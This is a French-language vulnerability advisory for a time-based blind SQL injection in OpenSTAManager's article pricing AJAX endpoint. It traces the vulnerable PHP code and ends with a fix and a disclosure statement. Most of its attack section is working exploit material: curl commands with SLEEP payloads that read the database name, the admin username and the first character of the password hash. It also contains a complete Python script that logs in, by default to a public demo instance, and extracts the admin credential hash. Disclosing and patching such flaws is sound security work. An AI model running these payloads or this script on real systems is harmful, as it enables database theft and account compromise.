
CVE-2026-24416 - OpenSTAManager présente une injection SQL aveugle basée sur le temps dans le module de tarification des articles.
| Champ | Détails |
|---|
| Identifiant CVE | CVE-2026-24416 |
| Sévérité | ÉLEVÉE |
| Avis de sécurité | Voir l'avis |
| Découvert par | Lukasz Rybak |
Une vulnérabilité critique d'injection SQL aveugle basée sur le temps dans le module de tarification des articles d'OpenSTAManager v2.9.8 permet à des attaquants authentifiés d'extraire l'intégralité du contenu de la base de données, y compris les identifiants des utilisateurs, les données clients et les enregistrements financiers, par le biais d'attaques par inférence booléenne basée sur le temps.
Statut : ✅ Confirmé et testé sur une instance en production (v2.9.8) et demo.osmbusiness.it (v2.9.7)
Paramètre vulnérable : idarticolo (GET)
Point de terminaison concerné : /ajax_complete.php?op=getprezzi
Module concerné : Articoli (Articles/Produits)
OpenSTAManager v2.9.8 contient une vulnérabilité critique d'injection SQL aveugle basée sur le temps dans le gestionnaire de complétion des prix des articles. L'application ne parvient pas à assainir correctement le paramètre idarticolo avant de l'utiliser dans les requêtes SQL, ce qui permet aux attaquants d'injecter des commandes SQL arbitraires et d'extraire des données sensibles par inférence booléenne basée sur le temps.
Chaîne de vulnérabilité :
Point d'entrée : /ajax_complete.php (ligne 27)
$op = get('op');
$result = AJAX::complete($op);
Le paramètre op est récupéré, mais la vulnérabilité réside dans d'autres paramètres.
Acheminement : /src/AJAX.php::complete() (ligne 189)
$result = self::getCompleteResults($file, $resource);
Exécution : /src/AJAX.php::getCompleteResults() (ligne 402)
require $file;
Les fichiers complete.php spécifiques aux modules sont inclus.
Paramètre vulnérable : /modules/articoli/ajax/complete.php (ligne 26)
$idarticolo = get('idarticolo');
Le paramètre idarticolo est récupéré depuis la requête GET.
Requête SQL vulnérable : /modules/articoli/ajax/complete.php (ligne 70) VULNÉRABILITÉ PRINCIPALE
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
Impact : Concaténation directe de $idarticolo sans prepare(), tandis que $idanagrafica est correctement assaini.
Contexte – Structure complète de la requête (lignes 39-74) :
La requête vulnérable fait partie d'une requête UNION qui récupère l'historique des prix à partir des factures et des bons de livraison :
$documenti = $dbo->fetchArray('
SELECT
`iddocumento` AS id,
"Fattura" AS tipo,
"Fatture di vendita" AS modulo,
(`subtotale`-`sconto`)/`qta` AS costo_unitario,
...
FROM
`co_righe_documenti`
INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
WHERE
`idarticolo`='.prepare($idarticolo).' AND ... # ✓ PROPERLY SANITIZED (Line 54)
UNION
SELECT
`idddt` AS id,
"Ddt" AS tipo,
...
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND # ✗ VULNERABLE - NO prepare() (Line 70)
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
ORDER BY
`id` DESC LIMIT 0,5');
Cause racine : Le développeur a utilisé prepare() correctement dans la première instruction SELECT (ligne 54), mais a oublié de l'utiliser dans la deuxième instruction SELECT de la requête UNION (ligne 70), créant ainsi un modèle de sécurité incohérent.
Étape 1 : Connexion
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Étape 2 : Vérification de la vulnérabilité (SLEEP basé sur le temps)
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
> /dev/null
# Result: real 0m10.32s (10.32 seconds)
# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
> /dev/null
# Result: real 0m3.36s (3.36 seconds)
# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
> /dev/null
# Result: real 0m0.31s (0.31 seconds)

Étape 3 : Extraction de données – Nom de la base de données
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)
# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)
# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')
# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')
Étape 4 : Extraction de données sensibles – Identifiants administrateur
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)
# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)
Explication de la charge utile :
Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)
Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true
SQL Query Result:
WHERE
`idarticolo`=1
AND SUBSTRING(DATABASE(),1,1)='o'
AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
AND `dt_tipiddt`.`dir`="entrata"
AND `idanagrafica`=1
Exemple de script d'extraction automatisée :
import requests
import time
import string
import sys
# Default Configuration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3 # Increased to 3s for stability on remote demo instance
def login(session, base_url, user, pwd):
"""Authenticates to the application and maintains session."""
login_url = f"{base_url}/index.php?op=login"
data = {"username": user, "password": pwd}
print(f"[*] Attempting login to: {login_url}...")
try:
response = session.post(login_url, data=data, timeout=10)
# Check if login was successful (usually indicated by presence of logout link or redirect)
if "logout" in response.text.lower() or response.status_code == 200:
print("[+] Login successful!")
return True
else:
print("[-] Login failed. Please check credentials.")
return False
except Exception as e:
print(f"[!] Connection error: {e}")
return False
def extract_data(session, base_url, sql_query, label="Data"):
"""Extracts data character by character until the end of the string is reached."""
print(f"\n[*] Extracting: {label}...")
result = ""
position = 1
target_endpoint = f"{base_url}/ajax_complete.php"
# Charset optimized for database names and bcrypt hashes ($, ., /)
charset = string.ascii_letters + string.digits + "$./" + string.punctuation
while True:
found_char = False
for char in charset:
# Payload: If the condition is true, the server sleeps for SLEEP_TIME
# Using ORD() and SUBSTRING() to handle various character types safely
payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
params = {
"op": "getprezzi",
"idanagrafica": "1",
"idarticolo": payload
}
try:
start_time = time.time()
session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
elapsed = time.time() - start_time
if elapsed >= SLEEP_TIME:
result += char
found_char = True
sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
sys.stdout.flush()
break
except requests.exceptions.RequestException:
# Handle network jitter/timeouts by retrying or continuing
continue
# If no character from charset triggered a sleep, we've reached the end of the data
if not found_char:
print(f"\n[!] End of string or no data found at position {position}.")
break
position += 1
return result
def main():
s = requests.Session()
# Allow target URL to be passed as a command line argument
target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
if login(s, target, USERNAME, PASSWORD):
# 1. Database name extraction
db = extract_data(s, target, "SELECT DATABASE()", "Database Name")
# 2. Admin username extraction
user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin Username (id=1)")
# 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)
pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Password Hash")
print(f"\n\n{'='*35}")
print(f" FINAL REPORT")
print(f"{'='*35}")
print(f"Target URL: {target}")
print(f"Database: {db}")
print(f"Username: {user}")
print(f"Hash: {pwd_hash}")
print(f"{'='*35}")
if __name__ == "__main__":
main()

Utilisateurs concernés : Tous les utilisateurs authentifiés ayant accès à la fonctionnalité de tarification des articles (généralement les utilisateurs qui gèrent les devis, les factures et les commandes).
Correctif recommandé :
Fichier : /modules/articoli/ajax/complete.php
AVANT (vulnérable – ligne 70) :
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
APRÈS (corrigé) :
WHERE
`idarticolo`='.prepare($idarticolo).' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
Découvert par Łukasz Rybak
Cette CVE a été divulguée de manière responsable, conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici le sont uniquement à des fins éducatives et défensives.